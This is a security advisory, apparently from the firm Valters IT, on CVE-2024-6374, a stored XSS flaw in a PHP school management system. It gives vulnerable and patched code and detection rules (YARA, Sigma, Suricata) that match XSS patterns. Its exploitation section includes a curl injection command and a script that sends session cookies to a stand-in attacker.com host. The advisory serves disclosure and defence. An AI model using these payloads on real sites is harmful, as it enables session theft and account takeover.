CVE-2024-6374

Executive Summary

CVE-2024-6374 is a stored Cross-Site Scripting (XSS) vulnerability identified in the lahirudanushka School Management System versions 1.0.0 and 1.0.1. The flaw resides in the /subject.php file, specifically within the Subject Title and Syllabus Details parameters. An attacker can inject arbitrary JavaScript or HTML into these fields, which will be executed in the browser of any user viewing the affected subject page. The vulnerability is remotely exploitable without authentication, requires user interaction (viewing the page), and has a CVSS v3.1 base score of 5.4 (Medium). Public proof-of-concept (PoC) code is available, and no official patch has been released. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom PHP application. The risk is primarily to the application's users and administrators.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – A victim must visit the malicious subject page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact (C): Low (L) – Potential for limited data exfiltration (e.g., session cookies).
• Integrity Impact (I): Low (L) – Potential for limited content manipulation.
• Availability Impact (A): None (N) – No direct impact on system availability.

Threat Level: Medium. The vulnerability is easy to exploit, but requires user interaction. The impact is limited to information disclosure and minor content manipulation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) in the /subject.php page of the School Management System. The application fails to properly sanitize user-supplied input in the Subject Title and Syllabus Details fields before storing it in the database and later rendering it on the page.

Attack Flow:

1. An attacker navigates to the /subject.php page (likely via a form submission).
2. The attacker injects a malicious payload into the Subject Title or Syllabus Details parameter, such as:

   <script>alert('XSS')</script>
   

3. The application stores this unsanitized input in its database.
4. When an administrator or other user views the subject page (e.g., /subject.php?id=X), the server retrieves the stored data and renders it in the HTML response without proper encoding.
5. The victim's browser executes the injected script, allowing the attacker to steal cookies, redirect the user, deface the page, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation. The application likely uses echo or print to display the stored values without using functions like htmlspecialchars() or htmlentities() in PHP.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// Vulnerable: Directly outputs user input without sanitization
$subject_title = $_POST['subject_title']; // or from database
echo "<h2>$subject_title</h2>";

$syllabus_details = $_POST['syllabus_details']; // or from database
echo "<p>$syllabus_details</p>";
?>

Patched Code (PHP):

<?php
// Patched: Uses htmlspecialchars to escape HTML entities
$subject_title = htmlspecialchars($_POST['subject_title'], ENT_QUOTES, 'UTF-8');
echo "<h2>$subject_title</h2>";

$syllabus_details = htmlspecialchars($_POST['syllabus_details'], ENT_QUOTES, 'UTF-8');
echo "<p>$syllabus_details</p>";
?>

The patched version uses htmlspecialchars() to convert special characters (like <, >, ", ', &) into their HTML entity equivalents, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of lahirudanushka School Management System v1.0.0 or v1.0.1.
• Access to the /subject.php page (likely requires a valid session or is publicly accessible).

Step 1: Identify the vulnerable parameters. Use a web browser or tool like Burp Suite to intercept the request when adding/editing a subject. Look for subject_title and syllabus_details parameters.

Step 2: Inject a payload. Submit a request with a malicious payload. Example using curl:

curl -X POST http://target-school.com/subject.php \
  -d "subject_title=<script>alert('XSS')</script>" \
  -d "syllabus_details=<img src=x onerror=alert('XSS')>" \
  -d "action=add"

Step 3: Trigger the payload. Navigate to the subject page (e.g., /subject.php?id=1) to see the alert box.

Step 4: Advanced payload (cookie theft).

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /subject.php containing <script>, <img onerror, or other HTML/JavaScript patterns.
• Use a Web Application Firewall (WAF) to block requests with suspicious payloads.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hardening:

• Apply the patched code (use htmlspecialchars()).
• Implement input validation (whitelist allowed characters).
• Use prepared statements for database queries (prevents SQLi, but not XSS).
• Regularly update the application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /subject.php with parameters containing <script>, onerror, onload, javascript:.
  • Outbound connections to attacker-controlled domains from the web server.
• File IOCs:
  • Modified entries in the subjects table of the application's database containing HTML/JavaScript.
• Behavioral IOCs:
  • Unexpected pop-up alerts in the browser.
  • Unauthorized changes to subject content.
  • Session cookie theft (if attacker uses cookie stealing payload).

Detection Engineering

YARA Rule

rule CVE_2024_6374_XSS_Subject_Page {
    meta:
        description = "Detects stored XSS payloads in School Management System subject page"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-6374"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*\s+onerror\s*=/is
        $xss3 = /<svg[^>]*\s+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-6374 - Stored XSS in School Management System Subject Page
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /subject.php with XSS payloads
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/subject.php'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in subject titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6374 - Stored XSS in School Management System Subject Page"; flow:to_server,established; content:"POST"; http_method; content:"/subject.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Modify the source code to use htmlspecialchars() on all user-supplied data before rendering it in HTML.
2. Restrict access: If possible, limit access to the /subject.php page to authenticated administrators only.
3. WAF rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.

Long-term Recommendations:

1. Upgrade: Monitor the vendor's website for an official patched version. If none is released, consider migrating to a different, actively maintained school management system.
2. Security audit: Conduct a full security audit of the application to identify other potential vulnerabilities.
3. Developer training: Educate developers on secure coding practices, especially input validation and output encoding.

Valters IT – Securing your digital frontier.